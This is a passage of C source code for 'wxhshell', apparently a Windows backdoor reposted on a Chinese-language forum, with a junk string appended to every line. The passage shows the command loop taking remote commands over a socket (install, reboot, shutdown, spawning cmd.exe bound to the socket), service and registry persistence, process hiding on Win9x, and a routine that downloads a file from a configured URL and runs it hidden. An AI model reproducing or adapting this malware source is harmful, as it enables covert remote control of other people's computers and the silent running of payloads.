  } V pnk>GWD  
  else { k-|g  
OOSf<I*>  
    switch(cmd[0]) { 7y|U!r"Y  
  D j9aTO  
  // 帮助 (WT\HR  
  case '?': { 8/aJ4w[A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m| ,Tk:xH  
    break; / (BS<A  
  } ]\xt[/?{  
  // 安装 OCx'cSs-=  
  case 'i': { ]XEyG7D  
    if(Install()) eVfD&&@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y]jx-w c3O  
    else L[2qCxB'^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z[c8W@OJ  
    break; ta)gOc)r R  
    } {zcG%b WJ  
  // 卸载 Ep;uz5 ^8  
  case 'r': { l[T-Ak  
    if(Uninstall()) .4CDQ&B0K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F+H]{ss>  
    else v8f3B<kj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); plWNuEW  
    break; SiaNL:  
    } aze#Cn,P}  
  // 显示 wxhshell 所在路径 4@0aN6Os  
  case 'p': { #7 O7O~  
    char svExeFile[MAX_PATH]; e`4mrBtz|  
    strcpy(svExeFile,"\n\r"); cn} CI  
      strcat(svExeFile,ExeFile); 1yE',9?  
        send(wsh,svExeFile,strlen(svExeFile),0); 7T)y"PZ  
    break; kC.dJ2^j+  
    } mw5>[  
  // 重启 W]D YfR,  
  case 'b': { %>*?uO`z[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UJ}}H}{  
    if(Boot(REBOOT)) R@3HlGuRKw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y5GN7.  
    else { @o0HDS  
    closesocket(wsh); XE2Un1i}j1  
    ExitThread(0); 0cHcBxdF  
    } Eg`~mE+a  
    break; M$EF 8   
    } UmVn:a  
  // 关机 <9pI~\@w  
  case 'd': { IE\RP!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^ `yhN  
    if(Boot(SHUTDOWN)) \;0pjxq=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F\JS?zt2  
    else { yT/rH- j;5  
    closesocket(wsh); 7-B|B{]  
    ExitThread(0); r B+ (  
    } Hj >fg2/  
    break; %h ;oi/pe  
    } ^N<aHFF  
  // 获取shell HMUx/M.j  
  case 's': { 7%"|6dw  
    CmdShell(wsh); U=D;Cj Ah  
    closesocket(wsh); B@-\.m  
    ExitThread(0); 7RUztu\_  
    break; Ye On   
  } J8~hIy6]  
  // 退出 ti+e U$  
  case 'x': { cY!Y?O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m%J?5rR3  
    CloseIt(wsh); 'Q E8  
    break; X]}ai5  
    } 6E) T;R(@  
  // 离开 w]MI3_|'r(  
  case 'q': { ODu/B'*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z\tY A  
    closesocket(wsh); Q+Nnj(AQY  
    WSACleanup(); @~2k5pa  
    exit(1); ]CP5s5  
    break; A/=cGE  
        } 6g-jhsW6  
  } P7}w^#x  
  } w-WAgAch  
qE2<vjRg  
  // 提示信息 &k)+]r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3)VO{Cj!  
} -aJ(-Np$f  
  }  $Z &6  
%t_'rv  
  return; G:b6Wf  
} x%X3FbF]  
8i "CU:(  
// shell模块句柄 A&1EOQ=N  
int CmdShell(SOCKET sock) eJqx,W5MK]  
{ %rs2{Q2k  
STARTUPINFO si; MMa`}wSs  
ZeroMemory(&si,sizeof(si)); E*)A!2rlK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s8(Z&pQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <6]Hj2  
PROCESS_INFORMATION ProcessInfo; \KJTR0EB:>  
char cmdline[]="cmd"; !"phz&E5ah  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4Ty?>'*|  
  return 0; xy>$^/[$  
} / w dvm4  
&S.p%Qe"  
// 自身启动模式 ;,Vdj[W$>  
int StartFromService(void) 9hK8dJw  
{ `ci  P  
typedef struct Onqapm0  
{ n\I s}Czl  
  DWORD ExitStatus; mu0L_u(P  
  DWORD PebBaseAddress; k7:ISj J  
  DWORD AffinityMask; q#Otp\f  
  DWORD BasePriority; q:up8-LAr  
  ULONG UniqueProcessId; !pe[H*Cy  
  ULONG InheritedFromUniqueProcessId; XKp(31])  
}   PROCESS_BASIC_INFORMATION; 2 br>{^T  
5Qg*j/z?  
PROCNTQSIP NtQueryInformationProcess; n S$4[!0  
TS=%iMa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zk70D_}L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vyc<RjS_x  
d<?Zaehe\  
  HANDLE             hProcess; q@1A2L\Om  
  PROCESS_BASIC_INFORMATION pbi; .))k  
M97+YMY)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 49/2E@G4.  
  if(NULL == hInst ) return 0; e+Mm!\ ;`  
im>/$!&OyI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `o_i+?E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i]zh8|">  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g0~m[[  
([JFX@  
  if (!NtQueryInformationProcess) return 0; +:#g6(P]  
BB,-HhYT0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M2:3 k  
  if(!hProcess) return 0; !bK;/)  
! pa7]cZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .}R'(gN\6  
qYqd-R  
  CloseHandle(hProcess); 9%k4Ic%P  
T8LvdzS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kVWrZ>McK  
if(hProcess==NULL) return 0; '#K~hep  
ZnbpIJ8cV  
HMODULE hMod; JKYtBXOl  
char procName[255]; M9Z9s11{H  
unsigned long cbNeeded; pOy(XUV9O  
|<]wM(GxE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %RIu'JXi  
ctb , w  
  CloseHandle(hProcess); pdQaVe7tRo  
*JW.ca}  
if(strstr(procName,"services")) return 1; // 以服务启动 qsN}KgTjg  
$43CNnf3N  
  return 0; // 注册表启动 >&Ye(3w&  
} |%Y=]@f  
10dK%/6/O  
// 主模块 B 4e}%  
int StartWxhshell(LPSTR lpCmdLine) /KiaLS  
{ +ZwTi!W  
  SOCKET wsl; UA0R)BH'  
BOOL val=TRUE; Dxr4B<  
  int port=0; q<g!bW%  
  struct sockaddr_in door; 1{xkAy0  
odeO(zuU  
  if(wscfg.ws_autoins) Install(); _=5\$6  
,E(M<n|.  
port=atoi(lpCmdLine); wGz_IL.D  
w@N)Pu  
if(port<=0) port=wscfg.ws_port; F0'o!A#|(  
6>d 3*   
  WSADATA data; [di&N!Ao  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /{ 8.Jcx$  
)]}68}9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Df $Yn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z_&T>ME  
  door.sin_family = AF_INET; C5^N)-]"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Mm^6*L]  
  door.sin_port = htons(port); k"`^vV[{F  
(yeN> x}_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Iak06E  
closesocket(wsl); xUs1-O1i  
return 1; G|$n,X1O(  
} su=]gE@  
\y/0)NL\  
  if(listen(wsl,2) == INVALID_SOCKET) { # WL5p.  
closesocket(wsl); xiQd[[(sM  
return 1; 1$c[G}h  
} GsWf$/iC:  
  Wxhshell(wsl); vinn|_s%  
  WSACleanup(); na/,1iI<  
7 (i\?  
return 0; n22OPvp  
Yceex}X*5  
} 7mS_Cz+cB  
0vz!)  
// 以NT服务方式启动 H%Sx*|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .V^h<d{  
{ HtI>rj/\ x  
DWORD   status = 0; 2f0_Xw_V_  
  DWORD   specificError = 0xfffffff; |i'w"Tz4  
Ef6LBNWY.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hniTMO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qQ<7+z<4KP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]n|lHZR  
  serviceStatus.dwWin32ExitCode     = 0; ,6\oT;G  
  serviceStatus.dwServiceSpecificExitCode = 0; Mw $.B#  
  serviceStatus.dwCheckPoint       = 0; ?Qh[vcF7`  
  serviceStatus.dwWaitHint       = 0; SL% Ec%9Y  
h6gtO$A|p=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]FO)U  
  if (hServiceStatusHandle==0) return; xHwcP21  
I#t# %!InH  
status = GetLastError(); u&Y1,:hiL  
  if (status!=NO_ERROR) C'0=eel[  
{ .$-%rU:*}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x@"`KiEUs  
    serviceStatus.dwCheckPoint       = 0; ML_[Z_Q<z  
    serviceStatus.dwWaitHint       = 0; Bdf]?s[]  
    serviceStatus.dwWin32ExitCode     = status; o,y {fv:ki  
    serviceStatus.dwServiceSpecificExitCode = specificError; /\uW[mt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Q~5TL>b  
    return; 6?jSe<4x  
  } y +c 3#  
Os|F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NIOWjhi[Jn  
  serviceStatus.dwCheckPoint       = 0; 4}=Z+tDu>  
  serviceStatus.dwWaitHint       = 0; d[Rs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h`p9H2}0  
} q"^T}d d,  
h]okY49hY  
// 处理NT服务事件,比如:启动、停止  *}`D2_uP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TYr"yZ([  
{ fyt`$y_E[  
switch(fdwControl) 5},kXXN{+  
{ k;y5nXIlN  
case SERVICE_CONTROL_STOP: v/DWy(CC  
  serviceStatus.dwWin32ExitCode = 0; 5-X(K 'Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s av  
  serviceStatus.dwCheckPoint   = 0; -qndBS  
  serviceStatus.dwWaitHint     = 0;  w4p<q68  
  { FZhjI 8+,~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !_UBw7Zm  
  } P&]PJt5  
  return; I!-5 #bxD  
case SERVICE_CONTROL_PAUSE: h/F,D_O>ZO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;F'/[l{+  
  break; ;*EPAC+  
case SERVICE_CONTROL_CONTINUE: lvZ:Aw r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4wQ>HrS)(  
  break; oT27BK26?h  
case SERVICE_CONTROL_INTERROGATE: 'gwh:8Xc  
  break; |G]M"3^  
}; dy*CDRU4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); at `\7YfQp  
} /WKp\r(Hp  
~,.}@XlgT.  
// 标准应用程序主函数 #>\+6W17U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v5o@ls  
{ ,=kQJ|  
Kzd)Z fnD0  
// 获取操作系统版本 t{)J#8:g  
OsIsNt=GetOsVer(); CK+_T}+-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gcf EJN4'  
(t)a u  
  // 从命令行安装 K2R[u#Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); {n>W8sN<  
j8Csnm0  
  // 下载执行文件 #/ Qe7:l  
if(wscfg.ws_downexe) { %@Ty,d:;=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (Q09$  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xz, sL  
} +b]+5!  
<+c6CM$#}V  
if(!OsIsNt) { RI%ZT  
// 如果时win9x,隐藏进程并且设置为注册表启动 6- @n$5W0  
HideProc(); ;eeu 9_$  
StartWxhshell(lpCmdLine); f#9\&-h e0  
} m^)h/s0A  
else lE?F Wt  
  if(StartFromService()) ,HQaS9vBQ  
  // 以服务方式启动 c);(+b  
  StartServiceCtrlDispatcher(DispatchTable); aBLE:v  
else qrmJJSJ  
  // 普通方式启动 b 64~Y|8  
  StartWxhshell(lpCmdLine); l1qWl   
=,=tSp  
return 0; y$e'-v  
}
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只看该作者 1 发表于: 2006-10-10
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